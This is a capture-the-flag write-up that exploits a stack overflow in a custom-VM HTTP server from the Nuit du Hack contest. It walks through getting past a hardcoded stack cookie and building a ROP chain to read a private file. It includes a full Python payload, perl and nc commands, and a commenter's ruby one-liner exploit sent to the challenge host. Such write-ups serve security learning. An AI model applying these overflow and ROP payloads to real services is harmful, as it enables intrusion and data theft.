Our spy thinks that Sciteek staff is aware about the mole inside
their building. He is trying to read a private file named “sciteek-private.txt”
located at sciteek.nuitduhack.com:4005. Please find the .ndh attached, if
you are sucessfull, reply with a message entitled “complex remote service”.Of course, your efforts will be rewarded with $2500. Maybe you will find
pieces of informations about the mole.Piotr
Summary: rop exploit in a VM, avoiding hardcoded stack cookie
Previous challenges contained some interesting strings, so let’s check for strings in this binary too:
$ strings web3.ndh .NDH HTTP/1.0 200 OK Content-Type : text/HTML Content-Length : 70 <html><center><b>Exploit Me if you can ;)</b></html></center> GET Cannot create server |
Hmm it’s some kind of a HTTP server. Also there’s only “GET” in strings, not “HTTP/1.1” or other http markers. Looks like it’s wants a request only to start with “GET “. Let’s check:
$ ./vmndh -file web3.ndh GET blabla HTTP/1.0 200 OK Content-Type : text/HTML Content-Length : 70 <html><center><b>Exploit Me if you can ;)</b></html></center> |
Let’s try to overflow the request:
$ perl -e 'print "GET " . "A"x1024;' | ./vmndh -file web3.ndh $ |
Just an exit! Let’s debug it:
$ ./vmndh -file web3.ndh -debug [Console]#> run ... 0x81e8 > syscall (r0 = 0x0003 - read) GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [SYSCALL output]: 517 0x81e9 > ret 0x84d8 > mov r0, r1 0x84dc > addl r8, #0x200 0x84e1 > pop r1 0x84e3 > cmpl r1, #0xbeef 0x84e8 > jz 0x01 0x84eb > end |
r8 is actually like a esp on x86 – it’s a stack pointer. Adding 0x200 to it is like closing the stackframe.
The next word on the stack is compared to 0xbeef – it must be just a stack cookie!
Let’s check:
$ perl -e 'print "GET " . "\xef\xbe"x512;' | ./vmndh -file web3.ndh [!] Segfault 0xbeef (out of range) |
Yes, it’s jumping to 0xbeef! 0x200 is 512, let’s pad it:
$ perl -e 'print "GET " . "A"x508 . "\xef\xbe" . "\x42\x41";' | ./vmndh -file web3.ndh [!] Segfault 0x4142 (opcode unknown) |
So, we can jump to an arbitrary address. Let’s find out our buffer address:
$ ./vmndh -file web3.ndh -debug [Console]#> bp 0x81e8 Breakpoint set in 0x81e8 [Console]#> run ... [BreakPoint 1 - 0x81e8] 0x81e8 > syscall (r0 = 0x0003 - read) GET blabla [SYSCALL output]: 11 [Console]#> show sp 7bf2: d8 84 47 45 54 20 62 6c 61 62 # this is: G E T b l a b |
The address is 0x7bf8. Let’s check for NX:
$ perl -e 'print "GET " . "A"x508 . "\xef\xbe" . "\xf8\x7b";' | ./vmndh -file web3.ndh [!] Segfault 0x7bf8 (opcode unknown) $ perl -e 'print "GET " . "A"x508 . "\xef\xbe" . "\xf8\x7b";' | nc sci.nuitduhack.com 4005 [!] Segfault 0x7bf8 (NX bit) |
Ahh, there’s NX bit enabled on the server! So we have to make a ROP payload. It’s easy to find some cool gadgets:
[Console]#> dis 81D2:6 0x81d2: movb r0, #0x02 <- SYS_OPEN 0x81d6: syscall 0x81d7: ret [Console]#> dis 8229:7 0x8229: pop r3 \ 0x822b: pop r2 |-> arguments for syscalls 0x822d: pop r1 / 0x822f: ret [Console]#> dis 8198:5 0x8198: pop r1 0x819a: pop r0 <- syscall number 0x819c: ret |
And here’s self-explaining exploit:
import sys from struct import pack fname_addr = 0x7bf8 buf = 0x0000 pop_r1_r0 = 0x8198 pop_r0 = 0x819a pop_args = 0x8229 sys_open = 0x81d2 syscall = 0x81D6 # fill stackframe s = "GET sciteek-private.txt\x00".ljust(512, "A") # stack cookie s += "\xef\xbe" # close(3) s += pack("<H", pop_r1_r0) s += pack("<H", 3) # FD = 3 s += pack("<H", 5) # SYS_CLOSE s += pack("<H", syscall) # open(filename, O_RDONLY, 0); s += pack("<H", pop_args) s += pack("<H", 0) # FLAGS s += pack("<H", 0) # O_RDONLY s += pack("<H", fname_addr) # FILENAME s += pack("<H", sys_open) # FILENAME # read(3, buf, 1000) s += pack("<H", pop_args) s += pack("<H", 1000) # SIZE s += pack("<H", buf) # BUF s += pack("<H", 3) # FD s += pack("<H", pop_r0) s += pack("<H", 3) # SYS_READ s += pack("<H", syscall) # write(1, buf, size) s += pack("<H", pop_args) s += pack("<H", 1000) # SIZE s += pack("<H", buf) # BUF s += pack("<H", 1) # STDOUT s += pack("<H", pop_r0) s += pack("<H", 4) # SYS_READ s += pack("<H", syscall) # FILENAME sys.stdout.write(s) |
Run it:
$ py pay.py | nc sci.nuitduhack.com 4005 Dear Patrick, We found many evidences proving there is a mole inside our company who is selling confidential materials to our main competitor, Megacortek. We have very good reasons to believe that Walter Smith have sent some emails to a contact at Megacortek, containing confidential information. However, these emails seems to have been encrypted and sometimes contain images or audio files which are apparently not related with our company or our business , but one of them contains an archive with an explicit name. We cannot stand this situation anymore, and we should take actions to make Mr Smith leave the company: we can fire this guy or why not call the FBI to handle this case as it should be. Sincerely, David Markham. [!] Segfault 0x0000 (NX bit) $ |
Challenge solved!
2 comments
Nice work!
You could also have used the function at 0x8201. It takes in a filename in r0 and will send you the contents
0x808e pop r0, ret
0x7dfc addr filename
0x8201 open_and_send
ruby -e ‘print “\xef\xbe”*0x101 + “\x8e\x80” + “\xfc\x7d” + “\x01\x82” + “sciteek-private.txt”‘ | nc sciteek.nuitduhack.com 4005
Author
Oh, much easier! Thanks